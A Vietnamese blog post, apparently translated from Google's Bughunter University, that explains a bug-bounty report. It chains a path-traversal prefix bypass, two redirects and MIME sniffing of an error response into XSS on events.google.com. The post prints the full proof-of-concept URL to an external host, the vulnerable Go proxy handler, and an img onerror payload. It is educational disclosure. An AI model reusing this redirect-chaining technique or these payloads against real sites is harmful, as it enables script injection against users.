Kết hợp Open Redirect trong việc khai thác lỗ hổng bảo mật

xss

Chương trình Bug Bounty của Google (VRP) thường xuyên nhận được các báo cáo lỗi có đề cập tới open redirect (chuyển hướng mở). Mặc dù bản thân chúng không được xem xét là lỗ hổng bảo mật, chúng tôi nhận ra rằng open redirect có thể được sử dụng để khai thác các lỗ hổng khác như XSS hoặc OAuth Token Disclosure.

Đó chính xác là điều đã xảy ra với một báo cáo lỗ hổng thú vị mới được gửi tới chúng tôi bởi Tomasz Bojarski. Tomasz đến từ một thị trấn nhỏ ở Ba Lan, đã tham gia chương trình bug bounty của chúng tôi vào 2013 và giờ nó như một sự kiện đã thay đổi cuộc đời anh ấy. Tomasz đã khá thành công khi hiện tại đang ở vị trí #1 trên Hall of Fame của chúng tôi.

Anh ấy không những sử dụng một, mà tới hai lần chuyển hướng để kích hoạt một lỗi XSS trên trang events.google.com.

Báo cáo của Tomasz khá là ngắn gọn:

Hey there :)

Have got a nice XSS for your in events.google.com

Proof of Concept:
https://events.google.com/io2015/api/v1/photoproxy?url=https%3A%2F%2Fpicasaweb.google.com%2fdata%2Ffeed%2Fapi%2F..%2f../../bye/%3fcontinue=https%3A%2F%2Fwww.google.com%2Famp/woops-pocs.appspot.com?xss

Cheers
Tom

Nhấn vào URL sẽ hiện lên một alert từ events.google.com nên chúng ta có thể thấy khá rõ ràng rằng Tomasz đã thực sự tìm thấy một lỗ hổng XSS hợp lệ trên một tên miền không sandbox của Google. Payload được nhúng nhiều lớp URL, một trong số chúng trỏ tới một tên miền bên ngoài: woops-pocs-apppot.com. Việc khai thác bao gồm nhiều bước - chúng ta hãy cùng khám phá chi tiết từng bước:

Bước 1: Photoproxy trong trang web Google I/O 2015

Để khai thác, Tomasz chọn một trang chứa các hình ảnh trong một sự kiện Google I/O trước đây. Những hình ảnh này đã được tải bằng cách sử dụng nguồn cấp dữ liệu Picasa Web Albums XML. Tuy nhiên, nguồn cấp dữ liệu XML như này được lưu trữ từ một tên miền khác (picasaweb.google.com) và không sử dụng header CORS (Same Origin Policy) để ngăn ứng dụng web đọc nó.

Vì vậy, nhóm Google I/O đã sử dụng một cách giải quyết để hiển thị các bức ảnh. Trang web này đã bao gồm một bộ xử lý phía máy chủ /api/v1/photoproxy, nó có thể lấy một URL được truyền vào trong một tham số và proxy phản hồi HTTP. Với cách này, ứng dụng có thể gửi XMLHttpRequest cùng nguồn tới /api/v1/photoproxy?url= để truy cập nguồn cấp dữ liệu. Trang web Google I/O 2015 là mã nguồn mở, vì vậy bạn có thể tự xem điều này đã được triển khai như nào.

Tất nhiên, phục vụ nội dung URL dựa theo tên miền của bạn sẽ ngay lập tức gây ra một lỗi XSS - vì thế, máy chủ thực hiện các kiểm tra sau đây trước khi tiến hành:

url := r.FormValue("url")
if !strings.HasPrefix(url, "https://picasaweb.google.com/data/feed/api") {
    writeJSONError(c, w, http.StatusBadRequest, "url parameter is missing or is an invalid endpoint")
    return
}

Kiểm tra này được thực hiện để đảm bảo rằng chỉ các nguồn cấp dữ liệu Picasa "tin cậy" có thể được proxy. Tuy nhiên, bước kiểm tra có thể bị bypass dễ dàng nếu một endpoint chuyển hướng xuyên tên miền tồn tại trong https://picasaweb.google.com.

Vậy nó tồn tại chứ? Tất nhiên :)

Bước 2: Chuyển hướng từ picasaweb.google.com sang google.com

Tomasz bắt đầu bằng cách chọn một endpoint chuyển hướng đã biết: https://picasaweb.google.com/bye?continue=. Để bypass việc kiểm tra tiền tố, anh ấy đã sử dụng thủ thuật truyền tải đường dẫn đơn giản này: trong khi chuỗi https://picasaweb.google.com/data/feed/api/../../../bye bắt đầu với https://picasaweb.google.com/data/feed/api, thì khi truy vấn tới URL được gửi, URL sẽ trở lại bình thường thành https://picasaweb.google.com/bye. Đó chính xác là điều anh ấy cần.

Nhưng khoan đã - có một hạn chế khác. Chuyển hướng từ giá trị tham số tiếp theo không hoàn toàn mở, vì nó cần để trỏ tới một trong những tên miền của Google (ví dụ: www.google.com). Để nạp được nội dung tùy ý, Tomasz cần phải tìm một open redirect trên www.google.com và kết hợp với nó.

Bước 3: Open redirect trên www.google.com

www.google.com chứa một vài open redirect - và cái mới nhất có liên quan tới AMP:

https://www.google.com/amp/

Kết hợp hai chuyển hướng này tạo ra kết quả là một URL mà bắt đầu từ nguồn Picasa nhưng kết thúc trong một tên miền tùy ý:

https://picasaweb.google.com/data/feed/api/../../../bye/?continue=https%3A%2F%2Fwww.google.com%2Famp/your-domain.example.com/path?querystring

Tại thời điểm này, chúng ta đã sẵn sàng để gửi một truy vấn tới https://events.google.com/api/v1/photoproxy mà sẽ lấy một URL từ một tên miền tùy ý. Vậy, làm thế nào để bạn biến nó thành một lỗi XSS? Chúng ta hãy nhìn vào trình xử lý truy vấn.

func servePhotosProxy(w http.ResponseWriter, r *http.Request) {
  c := newContext(r)
  if r.Method != "GET" {
    writeJSONError(c, w, http.StatusBadRequest, "invalid request method")
    return
  }
  url := r.FormValue("url")
  if !strings.HasPrefix(url, "https://picasaweb.google.com/data/feed/api") {
    writeJSONError(c, w, http.StatusBadRequest, "url parameter is missing or is an invalid endpoint")
    return
  }
  req, err := http.NewRequest("GET", url, nil)
  if err != nil {
    writeJSONError(c, w, errStatus(err), err)
    return
  }

  res, err := httpClient(c).Do(req)
  if err != nil {
    writeJSONError(c, w, errStatus(err), err)
    return
  }

  defer res.Body.Close()
  w.Header().Set("Content-Type", "application/json;charset=utf-8")
  w.WriteHeader(res.StatusCode)
  io.Copy(w, res.Body)
}

Như bạn có thể nhìn thấy từ hàm Go phía trên, máy chủ sẽ cố gắng lấy nội dung từ một URL nhất định và trả lại nội dung phản hồi (io.Copy). Nếu kẻ tấn công có thể khiến trình duyệt biên dịch phản hồi như một tài liệu HTML thì mọi mã JavaScript được chứa ở đó sẽ chạy trong ngữ cảnh thuộc events.google.com - một lỗi XSS đơn giản.

Tuy nhiên, để chặn lỗ hổng sniff MIME, máy chủ chỉ định một Content-Type application/json chặn các trình duyệt hiện đại khỏi việc biên dịch phản hồi như HTML.

Tomasz đã tìm thấy một thủ thuật thông minh để vượt qua sự kiểm soát này. Bạn sẽ nhận thấy rằng header Content-Type chỉ tạo ra khi phản hồi được lấy thành công. Trong trường hợp có một lỗi thì hàm writeJSONError sẽ được gọi thay thế.

Bước 4: XSS thông qua việc xử lý lỗi

Hàm WriteJSONError đặt mã trạng thái 5xx và xuất ra thông điệp lỗi trong một đối tượng JSON. Nhưng bởi vì hàm không thiết lập một header Content-Type, sniff MIME sẽ xảy ra. Nói tóm lại, khi nhận được một phản hồi HTTP không thuộc loại nào thì một trình duyệt sẽ cố gắng để nhận diện một đoạn HTML và nếu nó tìm thấy, nó sẽ biên dịch phản hồi như một tài liệu HTML, cho phép XSS xảy ra.

Để kích hoạt XSS trên events.google.com, Tomasz cần phải chắc chắn rằng thông báo lỗi xuất ra có chứa mã HTML, điều mà hóa ra khá dễ để thực hiện:

open-redirect-xss

Khi Photoproxy tiếp cận tới ứng dụng web của Tomasz, anh ấy chuyển hướng client HTTP tới một URL không hợp lệ chứa mã HTML, kích hoạt một lỗi trong client HTTP của Go. Điều này khiến endpoint Photoproxy xuất ra đoạn JSON sau đây:

{"error": "Get http://woops-pocs.appspot.com: failed to parse Location header \"//><img src=x onerror='alert(document.domain)'\": parse //><img src=x onerror='alert(document.domain)': invalid character \" \" in host name"}

Các trình duyệt biên dịch đoạn JSON này như là HTML và thực thi đoạn mã JavaScript được nhúng, kích hoạt lỗi XSS:

open-redirect-xss

Tốt lắm, Tomasz!

Juno_okyo theo Google Bughunter University.


:point_right: Theo dõi Juno_okyo trên Kipalog để nhận được thông báo khi có bài viết mới! :wink:

:point_right: Social Networks: Facebook · Twitter · Google+ · GitHub

Bình luận


White
{{ comment.user.name }}
Bỏ hay Hay
{{comment.like_count}}
Male avatar
{{ comment_error }}
Hủy
   

Hiển thị thử

Chỉnh sửa

White

Juno_okyo

24 bài viết.
775 người follow
Kipalog
{{userFollowed ? 'Following' : 'Follow'}}
Cùng một tác giả
White
144 15
(Ảnh) Biểu thức chính quy (hay regex) là một công cụ mạnh mẽ mà mỗi nhà phát triển nên biết. Nó có thể khớp với một chuỗi các ký tự dựa trên các t...
Juno_okyo viết hơn 2 năm trước
144 15
White
77 15
(Ảnh) Trong bài viết này tôi sẽ chia sẻ 12 thủ thuật vô cùng hữu ích cho JavaScript. Những thủ thuật này sẽ giúp bạn giảm lượng code cũng như làm ...
Juno_okyo viết hơn 1 năm trước
77 15
White
54 6
Bạn thấy chán các trang web cũ? Muốn tìm một vài góc mới của Internet để giúp bạn tìm lại sự hứng thú? Tốt thôi, bạn đã gặp may đấy. Dù bạn đang tì...
Juno_okyo viết hơn 1 năm trước
54 6
Bài viết liên quan
White
4 1
Trang http://www.meete.co/ đã lộ thông tin người dùng như thế nào ? Một ngày đẹp trời đầu tháng 12 , Tự nhiên cái dạ dày cảm thấy đói bụng nên mìn...
kid conan viết hơn 1 năm trước
4 1
White
18 2
Một lỗ hổng bảo mật cực kỳ nghiêm trọng, có ảnh hưởng trực tiếp đến quyền riêng tư của khoảng 1 tỷ tài khoản Facebook và có khả năng ảnh hưởng tới ...
Hùng PV viết hơn 1 năm trước
18 2
{{like_count}}

kipalog

{{ comment_count }}

bình luận

{{liked ? "Đã kipalog" : "Kipalog"}}


White
{{userFollowed ? 'Following' : 'Follow'}}
24 bài viết.
775 người follow

 Đầu mục bài viết

Vẫn còn nữa! x

Kipalog vẫn còn rất nhiều bài viết hay và chủ đề thú vị chờ bạn khám phá!